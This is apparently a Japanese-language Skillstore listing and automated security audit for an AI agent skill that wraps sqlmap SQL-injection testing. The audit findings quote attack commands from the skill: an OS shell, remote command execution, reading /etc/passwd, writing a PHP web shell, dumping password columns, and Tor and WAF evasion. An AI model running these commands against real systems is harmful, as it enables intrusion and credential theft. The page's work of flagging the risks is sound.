📦
content-creator
88ブランドに一貫したマーケティングコンテンツを作成
マーケティングチームには、チャネルを横断して一貫性を保つコンテンツが必要です。このスキルは、ブランドボイスとSEOに合わせてコンテンツを計画、執筆、分析、最適化するのに役立ちます。
ライティング＆コンテンツ 表示
スキル sqlmap-database-pentesting
📦
sqlmap-database-pentesting
v1.1 コンテンツリビジョン r1 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス
sqlmapでSQLインジェクションを監査する
SQLインジェクションテストには、慎重なスコープ設定、再現可能な確認、明確なレポート作成が必要です。このスキルは、許可を得たテスターに対して、検出から証拠レビューまでの体系的なsqlmapワークフローを提供します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "sqlmap-database-pentesting" from https://skillstore.io/skills/sickn33-sqlmap-database-pentesting.md and its manifest at https://skillstore.io/api/skills/sickn33-sqlmap-database-pentesting/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「sqlmap-database-pentesting」を使用しています。 テスターが、ステージング環境で疑わしいSQLインジェクションを確認する方法を尋ねています。
期待される結果:
このスキルは、許可を確認し、非破壊的な検出から開始し、証拠を記録し、データ抽出の前に停止する、スコープに沿った手順を返します。
「sqlmap-database-pentesting」を使用しています。 コンサルタントがsqlmap評価後のレポート構成を必要としています。
期待される結果:
このスキルは、スコープ、影響を受けるパラメーター、インジェクションタイプ、限定的な証拠、ビジネス影響、修復ガイダンスのセクションを作成します。
「sqlmap-database-pentesting」を使用しています。 開発者がラボの脆弱性を安全に再現したいと考えています。
期待される結果:
このスキルは、ローカルのトレーニング用ターゲットを使用し、リクエスト数を制限し、実際の認証情報を避け、修正後のクエリを検証することを提案します。
セキュリティ監査
重大v5 • 2026/7/9 バージョン別レポートを開く
Many static external-command hits are Markdown formatting false positives, but confirmed sqlmap testing and data extraction guidance remains. Semantic review found credential dumping, evasion, bulk scanning, OS shell, system file read, and web shell placement guidance.
1
スキャンされたファイル
406
解析済み行数
71
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (7)
重大
System password file access
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
The command explicitly reads /etc/passwd from the target host through sqlmap. This is system password file access and a critical post-exploitation risk.
重大
System reconnaissance
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
The command executes whoami on the target host through sqlmap. Remote OS command execution confirms a real host-level compromise risk.
重大
Remote Host Compromise And Web Shell Placement
The advanced section instructs use of OS shell access, OS command execution, target file reads, and file writes to a web root. This moves from database testing into host compromise capability.
The section directly includes OS shell, OS command, system file read, and PHP shell upload examples. The host compromise intent is explicit.
高
Credential And Sensitive Data Extraction Workflow
The skill identifies usernames, passwords, password hashes, and sensitive data as deliverables and provides sqlmap dump workflows. Authorization language is present, but the workflow can enable data exfiltration if used outside scope.
The deliverables and examples explicitly mention dumped records, usernames, passwords, hashes, and credential columns. This is direct sensitive data extraction guidance.
高
Evasion And Anonymity Guidance
The skill includes Google dork target discovery, random User-Agent settings, delays to avoid rate limits, Tor proxying, and tamper scripts for WAF bypass. These instructions increase abuse potential beyond basic vulnerability validation.
The cited sections explicitly describe dork-based discovery, rate-limit avoidance, anonymity, and WAF bypass tooling. These are clear evasion indicators in context.
中
System reconnaissance
- Consider `--delay` to avoid triggering rate limits
The line recommends delays to avoid triggering rate limits. This is evasion guidance, not mere system reconnaissance.
中
Bulk Target Scanning Workflow
The skill explains bulk URL files and gives examples that prepare multiple targets for sqlmap scanning. Bulk scanning can exceed scope quickly when authorization boundaries are not enforced.
The cited sections show sqlmap multi-target inputs and example bulkfile creation. The risk is contextual but clearly present.
機能レビュー項目 (71)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
The command requests an interactive OS shell through sqlmap. That is post-exploitation remote command capability on the target host.
重大
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
The command executes whoami on the target host through sqlmap. Remote OS command execution is critical-impact behavior.
重大
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
The command reads /etc/passwd from the target host through sqlmap. Reading system files is a critical post-exploitation action.
重大
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/ht
The command writes a PHP shell into the web root through sqlmap. Web shell placement is critical host compromise guidance.
高
Ruby/shell backtick execution
- `--dump`: Extract all data from specified table
The line describes dumping all data from a table. This is actionable database data extraction guidance.
高
Ruby/shell backtick execution
- `--dump-all`: Extract all data from all tables
The line describes dumping all data from all tables. Full database extraction is high-impact if used outside strict authorization.
高
Ruby/shell backtick execution
- `-C`: Specify column names to extract
The line describes selecting columns to extract. It supports targeted data extraction from a vulnerable database.
高
Ruby/shell backtick execution
| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
This is an actionable sqlmap command to dump table data. Data extraction from a target database is high impact.
高
Ruby/shell backtick execution
| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
This is an actionable sqlmap command to dump all database data. Full extraction creates high risk if authorization or minimization fails.
高
Ruby/shell backtick execution
| Stacked queries | Executes multiple statements | `--technique=S` |
The line documents stacked queries that execute multiple statements. That raises risk beyond simple detection.
高
Ruby/shell backtick execution
| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
The line describes out-of-band DNS or HTTP exfiltration. That is clear data-exfiltration technique guidance.
高
Ruby/shell backtick execution
| `-m` | Bulk file with multiple targets |
The line documents bulk target files for sqlmap. Bulk scanning increases risk when scope controls are weak.
高
Ruby/shell backtick execution
| `-g` | Google dork (use responsibly) |
The line documents Google dork target discovery. Finding targets through search queries can enable unauthorized scanning.
高
Ruby/shell backtick execution
| `--dump` | Dump table data |
The line documents table data dumping. Dumping data from a target database is high-impact behavior.
高
Ruby/shell backtick execution
| `--dump-all` | Dump all database data |
The line documents dumping all database data. Full extraction is high risk outside tightly controlled tests.
高
Ruby/shell backtick execution
| `-C` | Specify columns |
The line documents selecting columns for sqlmap extraction. Targeted column extraction often includes sensitive fields.
高
Ruby/shell backtick execution
| `--random-agent` | Use random User-Agent |
The line documents randomizing the User-Agent. That is evasion-oriented guidance for avoiding simple detection.
高
Ruby/shell backtick execution
- Limit dumps with `--start` and `--stop` for large tables
The line discusses limiting data dumps, confirming the workflow includes database extraction. Data dumping remains sensitive even when bounded.
高
Ruby/shell backtick execution
- Use `--random-agent` to vary User-Agent header
The line recommends randomizing User-Agent headers. That is evasion guidance for sqlmap traffic.
高
Ruby/shell backtick execution
- Consider `--delay` to avoid triggering rate limits
The line recommends delay settings to avoid rate limits. This is evasion-oriented operational guidance.
高
Ruby/shell backtick execution
- Proxy through Tor with `--tor` for anonymity (authorized tests only)
The line recommends Tor proxying for anonymity. Anonymity guidance materially increases abuse risk.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
The command dumps table data from a target database through sqlmap. That is high-impact network exploitation guidance.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --
The command targets username and password columns for dumping. It directly supports credential extraction.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
The command dumps all database data through sqlmap. Full extraction creates high risk if misused.
高
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
The command dumps user table data from a real public demo host. Even in a demo context, it demonstrates data extraction.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
The command raises sqlmap level and risk settings against an HTTP target. Aggressive testing can be intrusive and disruptive.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
The command enables all sqlmap techniques, including intrusive and out-of-band approaches. This is high-risk exploitation guidance.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" \
This starts a multi-line sqlmap command whose surrounding context targets administrator credential columns. It supports credential extraction.
高
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" \
This starts a multi-line sqlmap command whose surrounding context dumps users and requests password handling. It supports credential extraction.
中
Ruby/shell backtick execution
- `-u`: Target URL with injectable parameter
The line documents the sqlmap target option for an injectable URL. It is actionable external tool guidance, though not code executed by the Markdown file.
中
Ruby/shell backtick execution
- `--dbs`: Enumerate database names
The line instructs database-name enumeration with sqlmap. This is a real reconnaissance capability against a target database.
中
Ruby/shell backtick execution
- `--batch`: Use default answers (non-interactive mode)
The line promotes non-interactive sqlmap execution, which enables automated testing. It is not code execution in the file but is actionable command guidance.
中
Ruby/shell backtick execution
- `-D`: Specify target database name
The line describes selecting a target database for sqlmap enumeration. This supports database reconnaissance during an assessment.
中
Ruby/shell backtick execution
- `--tables`: Enumerate table names
The line directs table-name enumeration with sqlmap. Enumerating database structure is a real security-impacting action on a target.
中
Ruby/shell backtick execution
- `-T`: Specify target table name
The line describes selecting a target table for sqlmap. This supports deeper database enumeration after injection is found.
中
Ruby/shell backtick execution
- `--columns`: Enumerate column names
The line directs column-name enumeration with sqlmap. Column discovery can expose sensitive data structure.
中
Ruby/shell backtick execution
| List Databases | `sqlmap -u "URL" --dbs --batch` |
This is an actionable sqlmap command for database enumeration. It invokes an external security tool against a target URL.
中
Ruby/shell backtick execution
| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
This is an actionable sqlmap command for table enumeration. It invokes an external tool against target database metadata.
中
Ruby/shell backtick execution
| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
This is an actionable sqlmap command for column enumeration. It can reveal sensitive schema details.
中
Ruby/shell backtick execution
| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
The line documents a blind SQL injection technique. It is exploit methodology guidance, not a harmless formatting artifact.
中
Ruby/shell backtick execution
| Time-based blind | Uses time delays to infer data | `--technique=T` |
The line documents time-based blind SQL injection. This is actionable exploit technique guidance.
中
Ruby/shell backtick execution
| Error-based | Extracts data from error messages | `--technique=E` |
The line documents error-based SQL injection extraction. It can be used to retrieve data from database error behavior.
中
Ruby/shell backtick execution
| UNION query-based | Uses UNION to append results | `--technique=U` |
The line documents UNION-based SQL injection. This is actionable SQL injection exploitation guidance.
中
Ruby/shell backtick execution
| `-u` | Target URL |
The line documents the target URL option for sqlmap. It is part of actionable external network testing guidance.
中
Ruby/shell backtick execution
| `-r` | Load HTTP request from file |
The line documents loading a captured HTTP request into sqlmap. This enables automated testing of request parameters.
中
Ruby/shell backtick execution
| `-l` | Parse targets from Burp/WebScarab log |
The line documents parsing targets from proxy logs. This enables broader automated target discovery for sqlmap.
中
Ruby/shell backtick execution
| `--dbs` | Enumerate databases |
The line documents database enumeration with sqlmap. This is actionable reconnaissance of target database names.
中
Ruby/shell backtick execution
| `--tables` | Enumerate tables |
The line documents table enumeration with sqlmap. This is actionable database structure reconnaissance.
中
Ruby/shell backtick execution
| `--columns` | Enumerate columns |
The line documents column enumeration with sqlmap. This can expose sensitive schema details.
中
Ruby/shell backtick execution
| `-D` | Specify database |
The line documents selecting a database for sqlmap. It supports database enumeration and extraction workflows.
中
Ruby/shell backtick execution
| `-T` | Specify table |
The line documents selecting a table for sqlmap. It supports targeted database enumeration and extraction.
中
Ruby/shell backtick execution
| `--batch` | Non-interactive mode |
The line documents non-interactive sqlmap execution. Automation can increase operational risk if scope is wrong.
中
Ruby/shell backtick execution
| `--level` | Level of tests (1-5) |
The line documents increasing sqlmap test level. More tests can raise impact and noise on the target.
中
Ruby/shell backtick execution
| `--risk` | Risk of tests (1-3) |
The line documents increasing sqlmap risk. Higher-risk tests can be disruptive or more intrusive.
中
Ruby/shell backtick execution
- Use `--threads` to speed up enumeration (default: 1)
The line suggests increasing threads to speed enumeration. Faster automated probing can increase target load.
中
Ruby/shell backtick execution
- Use `--technique` to specify faster injection method if known
The line recommends selecting injection techniques. It is actionable SQL injection exploitation guidance.
中
Hardcoded URL
http://target.com/page.php?id=1'
The line demonstrates a manual SQL injection probe against an HTTP parameter. The domain is a placeholder, but the technique is actionable network testing guidance.
中
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --batch
The command runs sqlmap against an HTTP target for vulnerability detection. This is real network scanning guidance, even though the host is a placeholder.
中
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
The command runs sqlmap with verbose output against an HTTP target. It is actionable network scanning guidance.
中
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
The command runs sqlmap database enumeration against an HTTP target. This performs networked database reconnaissance.
中
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
The command runs sqlmap table enumeration against an HTTP target. This is actionable network reconnaissance.
中
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
The command runs sqlmap column enumeration against an HTTP target. It can reveal target schema details.
中
Hardcoded URL
# http://target1.com/page.php?id=1
The line is a commented bulk-target example. It still shows how to prepare multiple HTTP targets for sqlmap scanning.
中
Hardcoded URL
# http://target2.com/page.php?id=2
The line is a commented bulk-target example. It contributes to bulk sqlmap scanning guidance.
中
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
The command targets a real public demo host with sqlmap. The host is intentionally vulnerable, but the skill still initiates external network testing.
中
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
The command enumerates tables on a real public demo host. It remains external sqlmap network activity.
中
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
The command enumerates columns on a real public demo host. It remains external sqlmap network activity.
中
Hardcoded URL
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
The line writes a private IP target into a bulk scan file. It supports multi-target network scanning, despite using RFC1918 space.
中
Hardcoded URL
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
The line appends another private IP target to a bulk scan file. It supports multi-target network scanning.
中
Hardcoded IP address
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
The line writes a private IP target into a bulk scan file. It supports multi-target network scanning, despite using RFC1918 space.
中
Hardcoded IP address
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
The line appends another private IP target to a bulk scan file. It supports multi-target network scanning.
リスク要因
⚙️ 外部コマンド (50)
SKILL.md:19 SKILL.md:39-45 SKILL.md:45-48 SKILL.md:48-54 SKILL.md:54-59 SKILL.md:59-61 SKILL.md:61-64 SKILL.md:64-65 SKILL.md:65-66 SKILL.md:66-71 SKILL.md:71-73 SKILL.md:73-76 SKILL.md:76-77 SKILL.md:77-82 SKILL.md:82-84 SKILL.md:84-87 SKILL.md:87-88 SKILL.md:88-93 SKILL.md:93-95 SKILL.md:95-98 SKILL.md:98-100 SKILL.md:100-103 SKILL.md:103-105 SKILL.md:105-108 SKILL.md:108-109 SKILL.md:109-110 SKILL.md:110-115 SKILL.md:115-118 SKILL.md:118-121 SKILL.md:121-124 SKILL.md:124-127 SKILL.md:127-132 SKILL.md:132-135 SKILL.md:135-138 SKILL.md:138-146 SKILL.md:146-147 SKILL.md:147-148 SKILL.md:148-149 SKILL.md:149-150 SKILL.md:150-173 SKILL.md:173-174 SKILL.md:174-175 SKILL.md:175-176 SKILL.md:176-177 SKILL.md:177-178 SKILL.md:178-184 SKILL.md:184-185 SKILL.md:185-186 SKILL.md:186-187 SKILL.md:187-188
🌐 ネットワークアクセス (27)
SKILL.md:41 SKILL.md:50 SKILL.md:53 SKILL.md:60 SKILL.md:72 SKILL.md:83 SKILL.md:94 SKILL.md:99 SKILL.md:104 SKILL.md:129 SKILL.md:130 SKILL.md:233 SKILL.md:237 SKILL.md:241 SKILL.md:245 SKILL.md:264 SKILL.md:265 SKILL.md:274 SKILL.md:277 SKILL.md:283 SKILL.md:290 SKILL.md:300 SKILL.md:303 SKILL.md:306 SKILL.md:309 SKILL.md:264 SKILL.md:265
検出されたパターン
System password file accessSystem reconnaissance×2
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/sickn33-sqlmap-database-pentesting?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/sickn33-sqlmap-database-pentesting?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-sqlmap-database-pentesting/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/sickn33-sqlmap-database-pentesting.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
sickn33. (2026). sqlmap-database-pentesting security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5BibTeX形式の引用
@techreport{sickn33-sickn33-sqlmap-database-pentesting-2026,
author = {sickn33},
title = {sqlmap-database-pentesting security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "sqlmap-database-pentesting security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-sqlmap-database-pentesting:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
69
コミュニティ
83
仕様準拠
作成できるもの
ステージング環境のSQLインジェクション検出結果を検証する
スコープを定めたワークフローを使用してインジェクション挙動を確認し、修復のための限定的な証拠を取得します。
許可されたクライアント評価を計画する
書面で定められたスコープ、許可されたターゲット、証拠の制限、レポート要件に沿ってsqlmap手順を整理します。
ラボの脆弱性を再現する
脆弱なクエリを修正する前に、トレーニング用アプリケーションに対してsqlmapの検出と列挙を練習します。
これらのプロンプトを試す
安全な初回確認を計画する
ステージングアプリケーションに対する許可済みのsqlmap確認を計画するのを手伝ってください。スコープ確認、最小限の検出手順、収集すべき証拠を含めてください。
取得済みリクエストをレビューする
自分が所有するアプリケーションから取得したBurpリクエストがあります。sqlmapでどのパラメーターをテストすべきか、また影響を制限する方法を判断するのを手伝ってください。
証拠チェックリストを作成する
許可されたSQLインジェクション評価のための簡潔な証拠チェックリストを作成してください。検出証拠、データベースメタデータ、修復メモを分けてください。
高度な計画のリスクを低減する
書面による許可があるクライアント環境向けのこのsqlmap評価計画をレビューしてください。スコープを超える手順を指摘し、より安全な代替案を提案してください。
ベストプラクティス
- sqlmapを実行する前に、書面による許可、ターゲットスコープ、テスト時間帯を確認します。
- 必要最小限の証拠を収集し、機密性の高い本番データのダンプを避けます。
- インジェクションタイプ、影響を受けるパラメーター、影響、正確な修復手順を文書化します。
回避
- 明示的な書面許可なしに第三者システムに対してsqlmapを実行すること。
- 承認済みのテストルール外で、回避、匿名化、または攻撃的なリスク設定を使用すること。
- 限定的な証明で十分な場合に、データベース全体やパスワードデータをダンプすること。
よくある質問
このスキルは許可されたテスト専用ですか？
はい。このワークフローは、テスターが明示的な書面許可を持つシステムでのみ使用すべきです。
このスキルはsqlmapを自動実行しますか？
いいえ。ガイダンスとコマンドパターンを提供します。コマンドを実行するかどうかはオペレーターが制御します。
データをダンプせずにSQLインジェクションを証明できますか？
はい。限定的な検出結果と影響を受けるパラメーターの証拠だけで、修復には十分な場合がよくあります。
POSTリクエストに対応していますか？
はい。このスキルは、許可されたアプリケーションから取得したHTTPリクエストのリクエストファイルワークフローを説明します。
このスキルのどこにリスクがありますか？
データベース列挙、データ抽出、回避、ホストレベル機能に関するsqlmapガイダンスが含まれています。
検出結果が確認された後、チームは何をすべきですか？
脆弱なクエリを修正し、パラメーター化されたステートメントを使用し、エンドポイントを再テストし、必要に応じて露出した認証情報をローテーションします。
開発者情報
作成者
sickn33ライセンス
MIT
作者バージョン
v1.1
Skillstore リビジョン
r1
バージョンに関する注意
作者が宣言したバージョンは有効な SemVer ではありません。
リポジトリ
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/sqlmap-database-pentesting参照
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
メンテナンスの新しさ
2026/7/25
利用状況
10 ダウンロード · 115 閲覧
ファイル構成
📄 SKILL.md
sickn33 のその他のスキル
すべて表示📦
prompt-engineering-patterns
85実証済みパターンでLLMプロンプトを改善
一貫性のないプロンプトは時間を浪費し、AIの出力を信頼しにくくします。このスキルは、再利用可能なパターン、例、評価手順、最適化ワークフローを使ってプロンプト設計を支援します。
生産性 表示
📦
senior-architect
81スケーラブルなソフトウェアアーキテクチャを設計する
アーキテクチャ上の意思決定は、Web、モバイル、バックエンド、クラウドシステム全体で比較するのが困難です。このスキルは、レポート、依存関係レビュー、トレードオフ文書化のための構造化されたガイドとローカルのスキャフォールドスクリプトを提供します。
コーディング＆開発 表示
📦
senior-fullstack
81シニアレベルのパターンでフルスタックアプリを構築
チームには、モダンなWebアプリケーション向けに一貫したセットアップ、アーキテクチャ、レビュー指針が必要です。このスキルは、React、Next.js、Node.js、GraphQL、PostgreSQLプロジェクト向けのスキャフォールダー、ワークフローのリファレンス、品質向上のためのプロンプトを提供します。
コーディング＆開発 表示
📦
prompt-engineer
81Prompt EngineerでAIプロンプトを最適化
目標が曖昧だったり複雑だったりすると、明確なプロンプトを書くのは困難です。このスキルは、実績のあるプロンプトフレームワークを使って、粗い依頼を構造化されたプロンプトに変換します。
生産性 表示
📦
product-manager-toolkit
80リサーチインサイトでプロダクト業務の優先順位を決める
プロダクトチームには、機能の順位付け、インタビューの統合、意思決定の文書化をより速く行う方法が必要です。このスキルは、構造化された計画のために、RICEスコアリング、インタビュー分析、PRDテンプレートを提供します。
生産性 表示
関連スキル
すべて表示📦
webapp-sqlmap
38SQLMapでSQLインジェクションをテスト
作成者 AgentSecOps
手動のSQLインジェクションテストは時間がかかり、文書化も不十分になりがちです。このスキルは、検出、列挙、証拠の取り扱い、修復のための認可済みSQLMapワークフローを提供します。
セキュリティ＆コンプライアンス 表示
📦
exploitation-knowledge
38悪用手法とシェルアクセスの評価
作成者 CharlesKozel
セキュリティチームには、エクスプロイトのワークフローをレビューし、運用上のリスクを理解するための体系的な方法が必要です。このスキルは、管理されたラボまたは監査レビュー向けに、悪用手法、ペイロードの選択、アクセス後の確認を整理します。
セキュリティ＆コンプライアンス 表示
📦
python-web-app-security-audit
90Audit Python Web Apps Before Release
作成者 glenskii
Python teams need repeatable checks for common application security controls. This skill provides configurable pytest coverage with clear evidence, boundaries, and release decisions.
セキュリティ＆コンプライアンス 表示
📦
senior-security
81アプリケーションセキュリティレビューを強化する
作成者 alirezarezvani
セキュリティレビューでは、一貫したチェックリストや再利用可能なワークフローが不足しがちです。このスキルは、Claude、Codex、Claude Code 向けに、セキュリティレビューのひな形、参照ガイダンス、シンプルなレポート作成スクリプトを提供します。
セキュリティ＆コンプライアンス 表示
📦
security-report
78セキュリティ評価レポートを生成
作成者 BytR-Ecosystems
セキュリティ上の発見事項を経営層や技術チームに明確に提示するのは難しいものです。このスキルは、リスク評価と修復ガイダンスを含む構造化されたDOCXレポートを作成します。
セキュリティ＆コンプライアンス 表示
📦
security-audit
76Audit Codebases for Security Vulnerabilities
作成者 cloudflare
Security reviews often miss trust-boundary failures or produce weak evidence. This skill structures reconnaissance, isolated validation, independent verification, and actionable reporting.
セキュリティ＆コンプライアンス 表示